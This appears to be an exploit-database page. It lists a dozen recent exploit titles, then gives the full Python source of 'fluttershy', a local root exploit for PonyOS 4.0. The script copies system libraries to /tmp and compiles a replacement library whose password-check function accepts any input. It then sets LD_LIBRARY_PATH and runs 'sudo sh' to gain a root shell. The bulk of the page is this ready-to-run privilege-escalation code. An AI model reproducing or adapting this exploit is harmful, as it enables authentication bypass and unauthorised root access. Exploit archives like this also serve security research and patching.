aabd4b35b3
12 new exploits Microsoft Windows Kernel win32k.sys - Multiple Bugs in the NtGdiGetDIBitsInternal System Call Microsoft Windows Kernel - 'win32kfull!SfnINLPUAHDRAWMENUITEM' Stack Memory Disclosure PonyOS 3.0 - tty ioctl() Local Kernel Exploit PonyOS 3.0 - TTY 'ioctl()' Local Kernel Exploit Solaris 7 - 11 (x86 & SPARC) - 'EXTREMEPARR' dtappgather Privilege Escalation Solaris 7 < 11 (x86 / SPARC) - 'EXTREMEPARR' dtappgather Privilege Escalation GNS3 Mac OS-X 1.5.2 - 'ubridge' Privilege Escalation PonyOS 4.0 - 'fluttershy' LD_LIBRARY_PATH Local Kernel Exploit Adobe Creative Cloud Desktop Application <= 4.0.0.185 - Privilege Escalation Ethernet Device Drivers Frame Padding - Info Leakage Exploit (Etherleak) Ethernet Device Drivers Frame Padding - 'Etherleak' Infomation Leakage Exploit Cisco Catalyst 2960 IOS 12.2(55)SE1 - 'ROCEM' Remote Code Execution Linux/x86-64 - execve(_/bin/sh_) Shellcode (31 bytes) Coppermine Gallery < 1.5.44 - Directory Traversal Weaknesses SedSystems D3 Decimator - Multiple Vulnerabilities agorum core Pro 7.8.1.4-251 - Cross-Site Request Forgery agorum core Pro 7.8.1.4-251 - Persistent Cross-Site Scripting Alienvault OSSIM/USM 5.3.4/5.3.5 - Remote Command Execution (Metasploit)
31 lines
No EOL
1.6 KiB
Python
Executable file
31 lines
No EOL
1.6 KiB
Python
Executable file
#!/usr/bin/python
|
|
#PonyOS 4.0 has added several improvements over previous releases
|
|
#including support for setuid binaries and dynamic libraries. The
|
|
#run-time linker does not sanitize environment variables when
|
|
#running setuid files allowing for local root exploitation through
|
|
#manipulated LD_LIBRARY_PATH. Requires build-essential installed
|
|
#to compile the malicious library.
|
|
import shutil
|
|
import os
|
|
|
|
if __name__=="__main__":
|
|
print("[+] fluttershy - dynamic linker exploit for ponyos 4.0")
|
|
shutil.copyfile("/usr/lib/libc.so","/tmp/libc.so")
|
|
shutil.copyfile("/usr/lib/libm.so","/tmp/libm.so")
|
|
shutil.copyfile("/usr/lib/libpng15.so","/tmp/libpng15.so")
|
|
shutil.copyfile("/usr/lib/libtoaru-graphics.so","/tmp/libtoaru-graphics.so")
|
|
shutil.copyfile("/usr/lib/libtoaru-kbd.so","/tmp/libtoaru-kbd.so")
|
|
shutil.copyfile("/usr/lib/libtoaru-rline.so","/tmp/libtoaru-rline.so")
|
|
shutil.copyfile("/usr/lib/libtoaru-list.so","/tmp/libtoaru-list.so")
|
|
shutil.copyfile("/usr/lib/libtoaru-sha2.so","/tmp/libtoaru-sha2.so")
|
|
shutil.copyfile("/usr/lib/libtoaru-termemu.so","/tmp/libtoaru-termemu.so")
|
|
shutil.copyfile("/usr/lib/libz.so", "/tmp/libz.so")
|
|
fd = open("/tmp/lib.c","w")
|
|
fd.write("#include <stdio.h>\n#include <stdlib.h>\n\n")
|
|
fd.write("void toaru_auth_check_pass(char* username, char* password){\n")
|
|
fd.write("\tprintf(\"[+] pony smash!\\n\");\n}\n")
|
|
fd.close()
|
|
os.system("gcc -fpic -c /tmp/lib.c")
|
|
os.system("gcc -shared -o /tmp/libtoaru-toaru_auth.so /tmp/lib.o")
|
|
os.environ["LD_LIBRARY_PATH"] = "/tmp"
|
|
os.system("sudo sh") |